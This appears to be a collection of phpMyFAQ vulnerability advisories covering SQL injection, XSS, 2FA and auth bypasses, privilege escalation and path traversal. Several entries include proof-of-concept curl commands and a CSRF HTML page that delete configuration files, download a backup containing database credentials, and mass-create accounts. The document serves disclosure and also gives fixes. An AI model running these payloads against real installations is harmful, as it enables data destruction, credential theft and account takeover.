Weak Password Requirements in GitHub repository thorsten/phpmyfaq prior to 3.1.8.
Cross-site Scripting (XSS) - Reflected in GitHub repository thorsten/phpmyfaq prior to 3.1.9.
phpMyFAQ before v4.1.6 contains a remote code execution vulnerability in the configuration API that allows authenticated administrators with CONFIGURATIONEDIT and ATTACHMENTADD privileges to write arbitrary PHP files by manipulating the upgrade.lastDownloadedPackage setting. Attackers can upload a malicious ZIP file as an attachment, point the updater configuration to its stored path, and extract it into the application root to achieve code execution as the web server user.
phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.
phpMyFAQ before 4.1.7 contains a brute-force vulnerability in the two-factor authentication step where the failure counter is session-scoped and reset on each successful password re-authentication. Attackers with a valid password can bypass the five-attempt limit by obtaining a fresh session cookie and repeatedly re-authenticating to reset the counter, enabling unbounded TOTP code guessing.
phpMyFAQ before 4.1.7 fails to persist the WebAuthn login challenge generated by prepareForLogin, because neither WebAuthn controller saves the mutated key objects back to the database. At login the anti-replay comparison is skipped by its own null guard, allowing an attacker who captures a successful WebAuthn assertion to replay it indefinitely and authenticate as the user without any interaction or hardware key.
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password without token verification or email confirmation. Attackers can enumerate valid usernames, obtain plaintext passwords via email, and achieve complete account takeover including administrative access.
phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without token validation. Attackers can enumerate valid username and email pairs and force immediate password changes by sending PUT requests to the /api/index.php/user/password/update endpoint, causing account disruption and invalidating legitimate user credentials.
phpMyFAQ versions 3.1.0 through 4.1.6 contain an authentication bypass vulnerability in AuthLdap::create(). When LDAP authentication is enabled, after a successful LDAP bind the code calls User::setStatus('active') unconditionally, which overwrites the accountstatus column of a pre-existing local account from 'blocked' to 'active'. As a result, a user whose local phpMyFAQ account has been administratively blocked can restore their account and log in by authenticating via LDAP. The state transition is not logged, so administrators cannot detect that the block was overridden. Fixed in 4.1.7.
In phpMyFAQ before 2.9.9, there is Cross-Site Request Forgery (CSRF) in admin/stat.adminlog.php.
Summary The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTERSANITIZESPECIALCHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php
Lines 43-66: php #[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])] public function index(Request $request): JsonResponse|Response { $this->userHasPermission(PermissionType::FAQEDIT); // ... $data = jsondecode($request->getContent()); $action = Filter::filterVar($data->action, FILTERSANITIZESPECIALCHARS);
if ($action === 'fileRemove') { $file = Filter::filterVar($data->name, FILTERSANITIZESPECIALCHARS); $file = PMFCONTENTDIR . '/user/images/' . $file;
if (fileexists($file)) { unlink($file); } // Returns success without checking if deletion was within intended directory } }
Root Causes: 1. No path traversal prevention: FILTERSANITIZESPECIALCHARS does not remove or encode ../ sequences. It only encodes HTML special characters. 2. No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48. 3. No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory. 4. HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The ImageController::upload() method (same directory) properly validates file names: php if (pregmatch("/([^\w\s\d\-~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) { // Rejects files with path traversal sequences }
The FilesystemStorage::normalizePath() method also properly validates paths:
php foreach ($segments as $segment) { if ($segment === '..' || $segment === '') { throw new StorageException('Invalid storage path.'); } }
PoC
Direct exploitation (requires authenticated admin session): bash Delete the database configuration file curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=validadminsession' \ -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
Delete the .htaccess file to disable Apache security rules curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=validadminsession' \ -d '{"action":"fileRemove","name":"../../../.htaccess"}'
CSRF exploitation (attacker hosts this HTML page): html <html> <body> <script> fetch('https://target.example.com/admin/api/media-browser', { method: 'GET', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ action: 'fileRemove', name: '../../../content/core/config/database.php' }), credentials: 'include' }); </script> </body> </html>
When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.
Impact
- Server compromise: Deleting content/core/config/database.php causes total application failure (database connection loss). - Security bypass: Deleting .htaccess or web.config can expose sensitive directories and files. - Data loss: Arbitrary file deletion on the server filesystem. - Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.
Remediation
1. Add path traversal validation: php if ($action === 'fileRemove') { $file = basename(Filter::filterVar($data->name, FILTERSANITIZESPECIALCHARS)); $targetPath = realpath(PMFCONTENTDIR . '/user/images/' . $file); $allowedDir = realpath(PMFCONTENTDIR . '/user/images');
if ($targetPath === false || !strstartswith($targetPath, $allowedDir . DIRECTORYSEPARATOR)) { return $this->json(['error' => 'Invalid file path'], Response::HTTPBADREQUEST); }
if (fileexists($targetPath)) { unlink($targetPath); } }
2. Add CSRF protection: php if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) { return $this->json(['error' => 'Invalid CSRF token'], Response::HTTPUNAUTHORIZED); }
3. Change HTTP method to POST or DELETE to align with proper HTTP semantics.
phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to enumerate restricted FAQ entries and read their titles via the /solutionid{id}.html endpoint. Attackers can sequentially iterate solution IDs to discover all FAQs including those restricted to specific users or groups, leaking sensitive metadata through redirect Location headers and page canonical links.
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.
phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any user's password without authorization verification. An attacker with low-privilege admin credentials can escalate to SuperAdmin by modifying the userId parameter in the overwrite-password API request.
phpMyFAQ before 4.1.4 contains missing authorization vulnerabilities in editUser() and updateUserRights() endpoints that allow authenticated administrators to escalate privileges. Non-SuperAdmin users with edituser permission can set issuperadmin flag or grant arbitrary rights to escalate to SuperAdmin access.
phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in GroupController::updatePermissions that allows GROUPEDIT administrators to grant arbitrary rights to groups without verifying they hold those rights themselves. A delegated administrator can exploit this by assigning high-value permissions to a group they belong to, inheriting those rights and escalating privileges up to full administrative control.
phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in the user/add API endpoint that allows non-SuperAdmin administrators to create SuperAdmin accounts. A delegated administrator with USERADD/EDIT/DELETE permissions can call POST /admin/api/user/add with isSuperAdmin: true and attacker-chosen credentials to create a SuperAdmin account, then authenticate as that account to achieve full instance takeover.
phpMyFAQ before 4.1.7 stores password reset tokens in a publicly accessible tracking file when user tracking is enabled. Unauthenticated attackers can read the tracking file at content/core/data/trackingDDMMYYYY to extract reset tokens and replay them against the password reset API to take over user accounts.
phpMyFAQ before 4.1.6 fails to validate path traversal sequences in the existingimage field during category updates, allowing authenticated attackers to delete arbitrary files by exploiting insufficient sanitization in Image::delete(). Attackers can delete the database.php configuration file to disable the installation gate and access the public setup wizard to create new superadmin accounts.
phpMyFAQ before 4.1.7 contains a two-factor authentication bypass vulnerability where remember-me tokens are issued before 2FA verification completes. Attackers with valid credentials can obtain a remember-me cookie, skip the 2FA challenge, and replay the cookie to gain full authenticated access without second-factor verification.
phpMyFAQ before 4.1.7 contains a SQL injection vulnerability in the glossary create and update endpoints caused by truncating an escaped string before embedding it in a SQL literal. Authenticated users with glossary add or edit permissions can craft a payload with a dangling backslash to escape the closing quote and inject arbitrary SQL commands to read sensitive database information.
phpMyFAQ before 4.1.6 contains a privilege escalation vulnerability in GroupController::updateMembers() that allows administrators with only group-management permissions to join privileged groups without verification of required rights. Attackers can add themselves to pre-existing groups holding user-management rights and immediately inherit those permissions to modify or delete user accounts.
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in Utils::parseUrl() that allows authenticated users to inject JavaScript via malformed URLs in comments. Attackers can craft URLs with unescaped quotes to inject event handlers, stealing admin session cookies and achieving full application takeover when visitors view affected FAQ pages.
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass htmlentitydecode(striptags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.
phpMyFAQ before 4.1.2 contains a sql injection vulnerability in CurrentUser::setTokenData that allows authenticated attackers to execute arbitrary SQL by injecting malicious OAuth token claims. Attackers with Azure AD accounts containing SQL metacharacters in display names or JWT claims can break out of string literals and execute arbitrary database queries.
Summary An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.
Details The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.
Relevant code paths: - Rewrite rule exposing the endpoint: - phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA] - Controller implementation: - phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php → backup() - No call to hasValidToken(), userIsAuthenticated(), or any permission check - Backup creation: - phpmyfaq/src/phpMyFAQ/Setup/Update.php → createConfigBackup() - Writes the ZIP into the config directory and returns a public URL under content/core/config/
PoC Replace BASEURL with your instance URL.
1) Trigger config backup generation without authentication:
bash BASEURL="http://localhost" curl -i -X POST "${BASEURL}/api/setup/backup" \ -H "Content-Type: text/plain" \ --data "4.1.0-RC"
Expected result: 200 OK with JSON containing backupFile.
2) Copy the backupFile URL from the JSON response and download it (still without authentication):
bash Example (replace with the exact URL returned in step 1) curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
3) Verify sensitive content exists in the ZIP:
bash unzip -l phpmyfaq-config-backup.zip unzip -p phpmyfaq-config-backup.zip database.php
Observed: database.php is included and contains DB host/user/password.
Impact - Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure. - Who is impacted: Any internet-exposed phpMyFAQ installation where the default .htaccess rewrite rules are active and the endpoint is reachable. - Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.
Summary Several public API endpoints return email addresses and non‑public records (e.g. open questions with isVisible=false).
Details OpenQuestionController::list() calls Question::getAll() with the default showAll=true, returning invisible questions and their emails. Similar exposures exist in comment/news/faq APIs.
PoC curl -i -H 'Accept-Language: en' \ http://192.168.40.16/phpmyfaq/api/v3.0/open-questions
Impact Privacy exposure of email addresses and non‑public content; increased risk of phishing/scraping.
Summary
The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79
php #[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])] public function prepare(Request $request): JsonResponse { $data = jsondecode($request->getContent(), ...); $username = Filter::filterVar($data->username, FILTERSANITIZESPECIALCHARS);
if (!$this->user->getUserByLogin($username, raiseError: false)) { try { $this->user->createUser($username); $this->user->setStatus(status: 'active'); $this->user->setAuthSource(AuthenticationSourceType::AUTHWEBAUTHN->value); $this->user->setUserData([ 'displayname' => $username, 'email' => $username, ]);
The endpoint: 1. Accepts any POST request with a JSON username field 2. If the username doesn't exist, creates a new active user account 3. Does NOT check if WebAuthn support is enabled (security.enableWebAuthnSupport) 4. Does NOT check if registration is enabled (security.enableRegistration) 5. Does NOT verify CSRF tokens 6. Does NOT require captcha validation 7. Has no rate limiting
PoC
bash Create an account - no auth needed curl -X POST https://TARGET/api/webauthn/prepare \ -H 'Content-Type: application/json' \ -d '{"username":"attackeraccount"}'
Mass account creation for i in $(seq 1 1000); do curl -s -X POST https://TARGET/api/webauthn/prepare \ -H 'Content-Type: application/json' \ -d "{\"username\":\"spamuser$i"}" & done
Impact
- Registration bypass: Accounts created even when self-registration is disabled - Username squatting: Reserve usernames before legitimate users - Database exhaustion: Create millions of fake active accounts (DoS) - User enumeration: Different responses for existing vs new usernames - Security control bypass: WebAuthn config check is bypassed entirely
All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.
SQL injection vulnerability in phpMyFAQ 1.6.7 and earlier allows remote attackers to execute arbitrary SQL commands via unspecified vectors, possibly the userfile or filename parameter.